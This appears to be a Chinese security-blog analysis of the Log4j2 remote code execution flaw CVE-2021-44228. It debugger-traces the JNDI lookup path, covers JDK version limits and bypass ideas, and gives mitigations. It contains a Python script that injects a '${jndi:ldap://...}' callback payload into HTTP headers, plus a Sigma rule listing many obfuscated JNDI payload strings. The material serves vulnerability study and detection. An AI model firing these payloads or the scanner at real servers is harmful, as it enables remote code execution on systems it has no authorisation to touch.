ATT&CK-Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞分析

ATT&CK-Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞分析

小海 雷神众测 2022-06-09 15:00

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

原理:该漏洞的触发点在于,利用

org.apache.logging.log4j.Logger进行log或error等记录操作时,未对日志message信息进行有效检查,在format方法中会判断传入的参数中是否存在 ”${“ 参数,当存在时,就会将传入的以“${“开头,以“}”结尾的内容进行提取,然后将其value值传入lookup方法,而log4j的lookup方法可以调用jdni、rmi进行代码执行,最终造成反序列号漏洞被利用。漏洞影响范围:Apache log4j2 2.0 – 2.14.1 版本均受影响。安全版本:Apache log4j-2.16.0-rc1

环境搭建

下载log4j2_rce ,idea直接打开运行即可,如果漏洞无法利用,可以更换jdk版本,或者配置trustURLCodebase的参数为ture。

代码分析

首先在logger.error设置断点调试;

继续跟进,位置:

C:\Users\HOME.m2\repository\org\apache\logging\log4j\log4j-core\2.8.1\log4j-core-2.8.1-sources.jar!\org\apache\logging\log4j\core\config\LoggerConfig.java

对输入内容 event,进行encode加密;

encode方法对输入内容序列化。

event为

Logger=com.kk.log4j2_rce.controller.UserController Level=ERROR Message=${jndi:ldap://127.0.0.1:1389/wl3ljc}。

controls[0]为:

org.apache.logging.log4j.core.config.AppenderControl@204bf81b[appender=DefaultConsole-2, appenderName=DefaultConsole-2, level=null, intLevel=2147483647, recursive=java.lang.ThreadLocal@79f6b95f, filter=null],

主要完成时间的格式化。调用方法:

org.apache.logging.log4j.core.pattern.DatePatternConverter$CachedTime@2b0e33dc

具体位置:

C:\Users\HOME.m2\repository\org\apache\logging\log4j\log4j-core\2.8.1\log4j-core-2.8.1-sources.jar!\org\apache\logging\log4j\core\layout\PatternLayout.java

event 为

Logger=com.kk.log4j2_rce.controller.UserController Level=ERROR Message=${jndi:ldap://127.0.0.1:1389/wl3ljc};

当 i=8时,formatters[8]等于

org.apache.logging.log4j.core.pattern.PatternFormatter@4c0f3151[converter=org.apache.logging.log4j.core.pattern.MessagePatternConverter@bbe10d7, field=org.apache.logging.log4j.core.pattern.FormattingInfo@28ad1cd6[leftAlign=false, maxLength=2147483647, minLength=0, leftTruncate=true]];

主要对输入内容Message字段进行格式化;

workingBuilder执行结果为

11:53:33.848 [http-nio-8080-exec-1] ERROR com.kk.log4j2_rce.controller.UserController - ${jndi:ldap://127.0.0.1:1389/wl3ljc}

位置:

C:\Users\HOME.m2\repository\org\apache\logging\log4j\log4j-core\2.8.1\log4j-core-2.8.1-sources.jar!\org\apache\logging\log4j\core\layout\PatternLayout.java

代码:

if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}

config.getStrSubstitutor().replace(event, value)代码执行已经完成,具体如下:
代码右键,选择:
Evaluate Expression,参考链接:

https://www.cnblogs.com/chiangchou/p/idea-debug.html

智能步入,一行代码里有好几个方法,怎么只选择某一个方法进入。按 Force Step Into (Alt + Shift + F7)进入到方法内部,具体如图:

继续深入,调用resolver.lookup方法,

而final Object value = jndiManager.lookup(jndiName);调用jndi的lookup方法,从而导致反序列化漏洞的产生。

用了高版本JDK,漏洞就免疫了吗?答案:

可以,首先,该漏洞能否利用与JDK版本有关,在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。但openjdk version “11” ,包括之前版本,漏洞没有任何限制可以被利用。java 版本或log4j 版本问题,导致楼无法利用的解决办法:

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");

修改com.sun.jndi.ldap.object.trustURLCodebase选项,默认为true,漏洞利用成功。

高版本JDK,漏洞如何利用呢?KINGX提到了如下两种绕过方式:找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

测试用例

测试脚本:

# -*- coding: UTF-8 -*-

import requests
import time

def header_scan(url, payload):
headers = {
"User-Agent": "%s Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36" % payload,
"Connection": "close",
"Content-Length": "73",
"Accept": "text/html%s" % payload,
"Referer": "%s" % payload,
"Content-Type": "application/json; charset=UTF-8",
"Accept-Encodin": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9%s" % payload,

"X-Forwarded-For": "%s" % payload,
"X-Api-Version": "%s" % payload,
}
Cookie = {"JSESSIONID": payload}
try:
req = requests.get(url, headers=headers, cookies=Cookie, timeout=10)
except Exception as e:
print(e)

if __name__ == '__main__':
url = "http://192.168.80.155:8080/hello" # 输入url地址
payload = "${jndi:ldap://yx3r0p.ceye.io}" # 输入dnslog地址
header_scan(url, payload) # 只验证头信息

检测规则

Sigma检测规则如下:

title: Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞
description: 检测Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞
status: test
date: 2022/04/29
author: bigsea
logsource:
category: webserver
detection:
keywords:
- '${jndi:ldap:/'
- '${jndi:rmi:/'
- '${jndi:ldaps:/'
- '${jndi:dns:/'
- '/$%7bjndi:'
- '%24%7bjndi:'
- '$%7Bjndi:'
- '%2524%257Bjndi'
- '%2F%252524%25257Bjndi%3A'
- '${jndi:${lower:'
- '${::-j}${'
- '${jndi:nis'
- '${jndi:nds'
- '${jndi:corba'
- '${jndi:iiop'
- 'Reference Class Name: foo'
- '${${env:BARFOO:-j}'
- '${::-l}${::-d}${::-a}${::-p}'
- '${base64:JHtqbmRp'
- '${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}$'
- '${${lower:j}ndi:'
- '${${upper:j}ndi:'
- '${${::-j}${::-n}${::-d}${::-i}:'
filter:
- 'w.nessus.org/nessus'
- '/nessus}'
condition: keywords and not filter
falsepositives:
- Vulnerability scanning
level: high

缓解措施

  1. 升级最新版本;在业务许可的情况下建议升级log4j-2.16.0-rc1以上版本;2. 升级已知受影响的应用及组件,如spring-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid;

缓解措施:(1)jvm 参数-Dlog4j2.formatMsgNoLookups=true(2)log4j2.formatMsgNoLookups=True(3)系统环境变量

FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true(4)限制不必要的业务访问外网。(5)采用 rasp 对lookup的调用进行阻断。(6)采用 waf 对请求流量中的${jndi进行拦截。

参考链接

https://www.anquanke.com/post/id/262668https://paper.seebug.org/1787https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/

安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

END

长按识别二维码关注我们